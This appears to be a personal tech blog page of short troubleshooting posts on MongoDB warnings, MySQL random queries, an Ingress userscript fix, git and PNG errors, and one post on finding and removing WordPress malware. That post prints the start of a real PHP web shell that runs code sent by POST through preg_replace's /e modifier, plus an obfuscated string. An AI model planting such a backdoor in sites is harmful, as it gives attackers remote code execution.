WARNING: /sys/kernel/mm/transparent_hugepage/enabled is ‘always’.

After I install MongoDB 3.2.3 in Centos 7, I received this error when I start mongo in shell.

[[email protected] ~]# mongo
MongoDB shell version: 3.2.3
connecting to: test
Server has startup warnings:
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten]
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/enabled is 'always'.
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten] **        We suggest setting it to 'never'
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten]
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/defrag is 'always'.
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten] **        We suggest setting it to 'never'
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten]
2016-02-29T14:11:49.308-0500 I CONTROL  [initandlisten] ** WARNING: soft rlimits too low. rlimits set to 4096 processes, 64000 files. Number of processes should be at least 32000 : 0.5 times number of files.

Solution

Create the init.d script.
Create the following file at /etc/init.d/disable-transparent-hugepages:

#!/bin/sh
### BEGIN INIT INFO
# Provides:          disable-transparent-hugepages
# Required-Start:    $local_fs
# Required-Stop:
# X-Start-Before:    mongod mongodb-mms-automation-agent
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Disable Linux transparent huge pages
# Description:       Disable Linux transparent huge pages, to improve
#                    database performance.
### END INIT INFO

case $1 in
  start)
    if [ -d /sys/kernel/mm/transparent_hugepage ]; then
      thp_path=/sys/kernel/mm/transparent_hugepage
    elif [ -d /sys/kernel/mm/redhat_transparent_hugepage ]; then
      thp_path=/sys/kernel/mm/redhat_transparent_hugepage
    else
      return 0
    fi

    echo 'never' > ${thp_path}/enabled
    echo 'never' > ${thp_path}/defrag

    unset thp_path
    ;;
esac

Make it executable.
Run the following command to ensure that the init script can be used:

sudo chmod 755 /etc/init.d/disable-transparent-hugepages
sudo chkconfig --add disable-transparent-hugepages

WARNING: Cannot detect if NUMA interleaving is enabled. Failed to probe “/sys/devices/system/node/node1”: Permission denied

[[email protected] ~]# mongo
MongoDB shell version: 3.2.3
connecting to: test
Server has startup warnings:
2016-02-29T23:11:36.666+0700 I CONTROL  [initandlisten]
2016-02-29T23:11:36.667+0700 I CONTROL  [initandlisten] ** WARNING: Cannot detect if NUMA interleaving is enabled. Failed to probe "/sys/devices/system/node/node1": Permission denied
2016-02-29T23:11:36.667+0700 W CONTROL  [initandlisten]
2016-02-29T23:11:36.667+0700 W CONTROL  [initandlisten] Failed to probe "/sys/kernel/mm/transparent_hugepage": Permission denied
2016-02-29T23:11:36.667+0700 W CONTROL  [initandlisten]
2016-02-29T23:11:36.667+0700 W CONTROL  [initandlisten] Failed to probe "/sys/kernel/mm/transparent_hugepage": Permission denied
2016-02-29T23:11:36.667+0700 I CONTROL  [initandlisten]
2016-02-29T23:11:36.667+0700 I CONTROL  [initandlisten] ** WARNING: soft rlimits too low. rlimits set to 4096 processes, 262144 files. Number of processes should be at least 131072 : 0.5 times number of files.

Solution

I’m using the OVH kernel, so it is impossible to use with MongoDB, to solve this issue I have to install back the original kernel of the linux, then this error will be gone.

WARNING: soft rlimits too low. rlimits set to 4096 processes, 64000 files. Number of processes should be at least 32000 : 0.5 times number of files.

I’ve received this error while starting mongo in shell while installing on

[[email protected] ~]# mongod --version
db version v3.2.3
git version: b326ba837cf6f49d65c2f85e1b70f6f31ece7937
OpenSSL version: OpenSSL 1.0.1e-fips 11 Feb 2013
allocator: tcmalloc
modules: none
build environment:
    distmod: rhel70
    distarch: x86_64
    target_arch: x86_64
[[email protected] ~]# mongo --version
MongoDB shell version: 3.2.3
CentOS Linux release 7.2.1511 (Core)
WARNING: soft rlimits too low. rlimits set to 4096 processes, 64000 files. Number of processes should be at least 32000 : 0.5 times number of files.

Solution

vim /etc/security/limits.d/90-nproc.conf

Then put in

mongod     soft    nproc     64000

and

reboot

Remove WordPress Malware using Linux Shell Console

I’ve a lot of wordpress sites, recently few of my old sites infected malware, and those spammer using few of my sites to spam email. I would like to share the way I fix this.

Most of the spammer look for the 777 path, most properly in /wp-content/uploads/
So I try to scan all the php files that they upload there with date.

find ./public_html/wp-content/uploads/ -type f  -name '*.php' -printf '%TY-%Tm-%Td %TT %p\n' | sort

Then I found these

2015-10-16 12:25:01 ./wp-content/uploads/2013/05/blog84.php
2015-10-16 12:25:01 ./wp-content/uploads/2014/10/dump.php
2015-10-16 12:25:01 ./wp-content/uploads/2014/code.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/07/session90.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/09/xml96.php
2015-10-16 12:25:01 ./wp-content/uploads/2015/504.php
2015-10-16 12:25:01 ./wp-content/uploads/about_us.php
2015-10-16 12:25:01 ./wp-content/uploads/contactus.php
2015-10-16 12:25:01 ./wp-content/uploads/rtbwvcsxrnbsvcd.php
2015-10-16 12:25:01 ./wp-content/uploads/sc_afsed.php
2015-10-16 12:25:01 ./wp-content/uploads/team.php
2015-10-16 12:25:01 ./wp-content/uploads/wp-upload.php

This Kind of files should be remove and they will spam.
You can view the file header to see is it spam or not.

head ./wp-content/uploads/2013/05/blog84.php

It will show something like this

<?php @preg_replace('/(.*)/e', @$_POST['dnrdztvetxn'], '');
 $GLOBALS['af4569'] = "\x40\x46\x33\x2e\x62\x7a\x6e\x4c\xa\x7e\x28\x39\x59\x71\x54\x5f\x73\x65\x3f\x77\x5d\x29\x6c\x2f\x79\x50\x56\x63\x5c\x4f\x3c\x70\x2d\x34\x24\x4d\x4a\x53\x57\x67\x44\x51\x23\x43\x7d\x64\x2b\x72\x5

You should remove it immediately.

Search Malware files in WordPress

If you are server admin, you would like to scan all the users, you can try this

find /home/*/domains/*/public_html/wp-content/uploads/ -type f  -name '*.php' -printf '%TY-%Tm-%Td %TT %p\n' | sort

or

find /home/nginx/domains/*/public/wp-content/uploads/ -type f  -name '*.php' -printf '%TY-%Tm-%Td %TT %p\n' | sort

The best way to find out all possible files, I suggest you upgrade the WordPress to latest version
Then try

find ./public_html -type f  -name '*.php' -printf '%TY-%Tm-%Td %TT %p\n' | sort

This will sort all the date of php file with modified date, you can find it out and remove them easily.

Optimize MySQL order by RAND()

It is not recommended to use ORDER BY RAND() only, it will slow for query large database like over 50,000 rows. The easiest way to optimize existing code, just add
RAND()< (SELECT ((1/COUNT(*))*10) FROM Table_name)
after the WHERE before the ORDER, this sub query will speed up the select random from the table.

Using this way, you no need to worry the database that without ID and Auto INC too.

SELECT * FROM `Table_name` WHERE
RAND()<(SELECT ((1/COUNT(*))*10) FROM Table_name WHERE `field` = 'value' )
ORDER BY RAND() LIMIT 1;

ERROR: IITC failed to extract the required parameters from the intel site

I’ve got the error by using IITC for Ingress today

IITC failed to extract the required parameters from the intel site
This can happen after Niantic update the standard intel site. A fix will be needed from the IITC developers.

-  var reVersion = new RegExp('[a-z]=[a-z].getData\\(\\);[a-z].v="([a-f0-9]{40})";');
+  var reVersion = new RegExp('[a-z].v="([a-f0-9]{40})";');
 
-  var minified = new RegExp('^[a-zA-Z$][a-zA-Z$0-9]$');
+  var minified = new RegExp('^[a-zA-Z$0-9]{1,2}$');

Reference: https://github.com/dwinss/ingress-intel-total-conversion/commit/26c7616d0f8e070451e455e70003c47f1bb279a2

  1. Click the Tampermonkey Button at the Top Right of your Google Browser
  2. Click on Dashboard
  3. Click on IITC: Ingress Intel Map Total Conver….
  4. Jump to the link 12622
  5. Modify like this
window.extractFromStock = function() {
  window.niantic_params = {}

//   extract the former nemesis.dashboard.config.CURRENT_VERSION from the code
//   var reVersion = new RegExp('[a-z]=[a-z].getData\\(\\);[a-z].v="([a-f0-9]{40})";');
     var reVersion = new RegExp('[a-z].v="([a-f0-9]{40})";');

//   var minified = new RegExp('^[a-zA-Z$][a-zA-Z$0-9]$');
     var minified = new RegExp('^[a-zA-Z$0-9]{1,2}$');

Then refresh your browser.

exit code of #128 fatal: unable to connect to github.com

I follow the Quickstart guide from FoundationPress and it display this error

bower install && grunt build
bower foundation#*          not-cached git://github.com/zurb/bower-foundation.git#*
bower foundation#*             resolve git://github.com/zurb/bower-foundation.git#*
bower fontawesome#~4.3.0    not-cached git://github.com/FortAwesome/Font-Awesome.git#~4.3.0
bower fontawesome#~4.3.0       resolve git://github.com/FortAwesome/Font-Awesome.git#~4.3.0
bower fontawesome#~4.3.0       ECMDERR Failed to execute "git ls-remote --tags --heads git://github.com/FortAwesome/Font-Awesome.git", exit code of #128 fatal: unable to connect to github.com: github.com[0: 192.30.252.131]: errno=Connection timed out

I run this to solve this problem.

git config --global url."https://".insteadOf git://

libpng error: IDAT: CRC error

I receive this error message while using wkhtmltoimage.

In Mac, it it not allow you to use Preview to save to other format.
It will display cannot write, or enable to save.

The fastest way to solve this problem, can be done in Automator, you can use Photo -> Flip Image -> Flip Image then save or convert to other format.

Then your PNG error will be gone.